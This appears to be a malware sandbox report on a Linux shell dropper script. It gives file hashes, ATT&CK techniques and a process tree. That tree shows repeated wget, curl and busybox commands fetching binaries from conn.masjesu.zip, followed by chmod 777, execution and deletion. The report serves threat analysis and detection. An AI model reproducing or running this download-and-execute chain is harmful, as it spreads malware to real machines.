344f97c18ebaa86ae678af8d31b5f037fb1390672970c506cfa5641e35b4a07b

General

Target

344f97c18ebaa86ae678af8d31b5f037fb1390672970c506cfa5641e35b4a07b.sh
Size

10KB
MD5

6fbfa1ebffef931402c957837d1ce7a3
SHA1

bff64ab4bb8667d6e4b480a6546aebf51b70e058
SHA256

344f97c18ebaa86ae678af8d31b5f037fb1390672970c506cfa5641e35b4a07b
SHA512

9d57a72ac5df656dca09cb391f0b533d9eb0a6c9a3a8b248805bd866dd31a00ef232144454417faf737e187432c59a2996cefbe856be787dd050ef1b70b75fe7
SSDEEP

96:YyK1mumemELvNLsxsLASq7Nb3eUyK1lFHgLi6gLgfgzgbytMKLZxrKCQp9p9pchl:K/WwKg8RYJaJ7

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
770	chmod
927	chmod
987	chmod
812	chmod
972	chmod
897	chmod
942	chmod
729	chmod
736	chmod
881	chmod
889	chmod
912	chmod
1002	chmod
934	chmod
950	chmod
965	chmod
1010	chmod
852	chmod
874	chmod
920	chmod
745	chmod
795	chmod
860	chmod
867	chmod
979	chmod
995	chmod
904	chmod
957	chmod

Executes dropped EXE 28 IoCs

Processes:

rpGQHUwVKCedv2rZ52NQukCAEyfangFC6myFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6sjNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk46wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgChkC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUKoieViux5SkcOflukQEESWqzwe8qoXmU0dorOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZTI1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYqA7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsHSKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkbWdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVArpGQHUwVKCedv2rZ52NQukCAEyfangFC6myFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6sjNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUKoieViux5SkcOflukQEESWqzwe8qoXmU0do6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgChrOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZTSKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkbWdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVAI1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYqA7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetwgetcurlbusyboxcurlbusyboxbusyboxwgetbusyboxwgetwgetwgetbusyboxwgetcurlcurlbusyboxcurlbusyboxwgetcurlwgetcurlwgetbusyboxcurlwgetwgetcurlbusyboxcurlwgetwgetbusyboxwgetbusyboxbusyboxcurlwgetbusyboxbusyboxbusyboxbusyboxwgetbusyboxwgetwgetbusyboxcurlwgetcurlbusyboxbusyboxwgetcurlwgetwgetwgetcurlcurlcurlcurlbusyboxcurl

pid	process
983	wget
1006	wget
857	curl
888	busybox
894	curl
986	busybox
765	busybox
815	wget
880	busybox
998	wget
740	wget
801	wget
933	busybox
968	wget
781	curl
917	curl
896	busybox
901	curl
903	busybox
938	wget
969	curl
991	wget
733	curl
863	wget
1001	busybox
1007	curl
953	wget
961	wget
962	curl
851	busybox
939	curl
885	wget
975	wget
811	busybox
877	wget
941	busybox
971	busybox
716	curl
856	wget
926	busybox
964	busybox
994	busybox
873	busybox
900	wget
859	busybox
923	wget
946	wget
956	busybox
976	curl
775	wget
809	curl
911	busybox
978	busybox
870	wget
947	curl
704	wget
750	wget
893	wget
909	curl
954	curl
819	curl
886	curl
743	busybox
871	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7	curl
File opened for modification	/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb	curl
File opened for modification	/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT	curl
File opened for modification	/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV	curl
File opened for modification	/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m	curl
File opened for modification	/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4	curl
File opened for modification	/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT	curl
File opened for modification	/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA	curl
File opened for modification	/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s	curl
File opened for modification	/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK	curl
File opened for modification	/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys	curl
File opened for modification	/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK	curl
File opened for modification	/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do	curl
File opened for modification	/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do	curl
File opened for modification	/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb	curl
File opened for modification	/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA	curl
File opened for modification	/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s	curl
File opened for modification	/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV	curl
File opened for modification	/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7	curl
File opened for modification	/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys	curl
File opened for modification	/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4	curl
File opened for modification	/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq	curl
File opened for modification	/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH	curl
File opened for modification	/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH	curl
File opened for modification	/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh	curl
File opened for modification	/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq	curl
File opened for modification	/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m	curl
File opened for modification	/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh	curl

/tmp/344f97c18ebaa86ae678af8d31b5f037fb1390672970c506cfa5641e35b4a07b.sh
/tmp/344f97c18ebaa86ae678af8d31b5f037fb1390672970c506cfa5641e35b4a07b.sh
1⤵
PID:697

/bin/rm
/bin/rm bins.sh
2⤵
PID:699

/usr/bin/wget
wget http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- System Network Configuration Discovery
PID:704

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:716

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
PID:727

/bin/chmod
chmod 777 rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- File and Directory Permissions Modification
PID:729

/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
./rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- Executes dropped EXE
PID:730

/bin/rm
rm rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
PID:731

/usr/bin/wget
wget http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:732

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:733

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:735

/bin/chmod
chmod 777 yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- File and Directory Permissions Modification
PID:736

/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
./yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- Executes dropped EXE
PID:737

/bin/rm
rm yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:739

/usr/bin/wget
wget http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- System Network Configuration Discovery
PID:740

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:741

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- System Network Configuration Discovery
PID:743

/bin/chmod
chmod 777 jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- File and Directory Permissions Modification
PID:745

/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
./jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- Executes dropped EXE
PID:746

/bin/rm
rm jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
PID:749

/usr/bin/wget
wget http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- System Network Configuration Discovery
PID:750

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:755

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- System Network Configuration Discovery
PID:765

/bin/chmod
chmod 777 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- File and Directory Permissions Modification
PID:770

/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
./6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- Executes dropped EXE
PID:771

/bin/rm
rm 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
PID:774

/usr/bin/wget
wget http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- System Network Configuration Discovery
PID:775

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:781

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
PID:790

/bin/chmod
chmod 777 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- File and Directory Permissions Modification
PID:795

/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
./5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- Executes dropped EXE
PID:797

/bin/rm
rm 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
PID:800

/usr/bin/wget
wget http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- System Network Configuration Discovery
PID:801

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:809

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- System Network Configuration Discovery
PID:811

/bin/chmod
chmod 777 kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- File and Directory Permissions Modification
PID:812

/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
./kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- Executes dropped EXE
PID:813

/bin/rm
rm kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
PID:814

/usr/bin/wget
wget http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- System Network Configuration Discovery
PID:815

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:819

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- System Network Configuration Discovery
PID:851

/bin/chmod
chmod 777 NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- File and Directory Permissions Modification
PID:852

/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
./NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- Executes dropped EXE
PID:853

/bin/rm
rm NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
PID:855

/usr/bin/wget
wget http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- System Network Configuration Discovery
PID:856

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:857

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- System Network Configuration Discovery
PID:859

/bin/chmod
chmod 777 oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- File and Directory Permissions Modification
PID:860

/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do
./oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- Executes dropped EXE
PID:861

/bin/rm
rm oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
PID:862

/usr/bin/wget
wget http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- System Network Configuration Discovery
PID:863

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:864

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
PID:866

/bin/chmod
chmod 777 rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- File and Directory Permissions Modification
PID:867

/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
./rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- Executes dropped EXE
PID:868

/bin/rm
rm rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
PID:869

/usr/bin/wget
wget http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- System Network Configuration Discovery
PID:870

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:871

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- System Network Configuration Discovery
PID:873

/bin/chmod
chmod 777 I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- File and Directory Permissions Modification
PID:874

/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
./I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- Executes dropped EXE
PID:875

/bin/rm
rm I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
PID:876

/usr/bin/wget
wget http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- System Network Configuration Discovery
PID:877

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- System Network Configuration Discovery
PID:880

/bin/chmod
chmod 777 A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- File and Directory Permissions Modification
PID:881

/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
./A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- Executes dropped EXE
PID:882

/bin/rm
rm A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
PID:884

/usr/bin/wget
wget http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- System Network Configuration Discovery
PID:885

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:886

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- System Network Configuration Discovery
PID:888

/bin/chmod
chmod 777 SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- File and Directory Permissions Modification
PID:889

/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
./SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- Executes dropped EXE
PID:890

/bin/rm
rm SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
PID:892

/usr/bin/wget
wget http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- System Network Configuration Discovery
PID:893

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:894

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- System Network Configuration Discovery
PID:896

/bin/chmod
chmod 777 WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- File and Directory Permissions Modification
PID:897

/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
./WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- Executes dropped EXE
PID:898

/bin/rm
rm WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
PID:899

/usr/bin/wget
wget http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- System Network Configuration Discovery
PID:900

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:901

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- System Network Configuration Discovery
PID:903

/bin/chmod
chmod 777 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- File and Directory Permissions Modification
PID:904

/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
./8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- Executes dropped EXE
PID:905

/bin/rm
rm 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
PID:907

/usr/bin/wget
wget http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
PID:908

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:909

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- System Network Configuration Discovery
PID:911

/bin/chmod
chmod 777 rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- File and Directory Permissions Modification
PID:912

/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
./rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
- Executes dropped EXE
PID:913

/bin/rm
rm rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
2⤵
PID:915

/usr/bin/wget
wget http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:916

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:917

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:919

/bin/chmod
chmod 777 yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- File and Directory Permissions Modification
PID:920

/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
./yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
- Executes dropped EXE
PID:921

/bin/rm
rm yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
2⤵
PID:922

/usr/bin/wget
wget http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- System Network Configuration Discovery
PID:923

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:924

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- System Network Configuration Discovery
PID:926

/bin/chmod
chmod 777 jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- File and Directory Permissions Modification
PID:927

/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
./jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
- Executes dropped EXE
PID:928

/bin/rm
rm jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
2⤵
PID:929

/usr/bin/wget
wget http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
PID:930

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:931

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- System Network Configuration Discovery
PID:933

/bin/chmod
chmod 777 kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- File and Directory Permissions Modification
PID:934

/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
./kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
- Executes dropped EXE
PID:935

/bin/rm
rm kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
2⤵
PID:937

/usr/bin/wget
wget http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- System Network Configuration Discovery
PID:938

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:939

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- System Network Configuration Discovery
PID:941

/bin/chmod
chmod 777 NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- File and Directory Permissions Modification
PID:942

/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
./NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
- Executes dropped EXE
PID:943

/bin/rm
rm NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
2⤵
PID:945

/usr/bin/wget
wget http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- System Network Configuration Discovery
PID:946

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:947

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
PID:949

/bin/chmod
chmod 777 oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- File and Directory Permissions Modification
PID:950

/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do
./oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
- Executes dropped EXE
PID:951

/bin/rm
rm oieViux5SkcOflukQEESWqzwe8qoXmU0do
2⤵
PID:952

/usr/bin/wget
wget http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- System Network Configuration Discovery
PID:953

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:954

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- System Network Configuration Discovery
PID:956

/bin/chmod
chmod 777 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
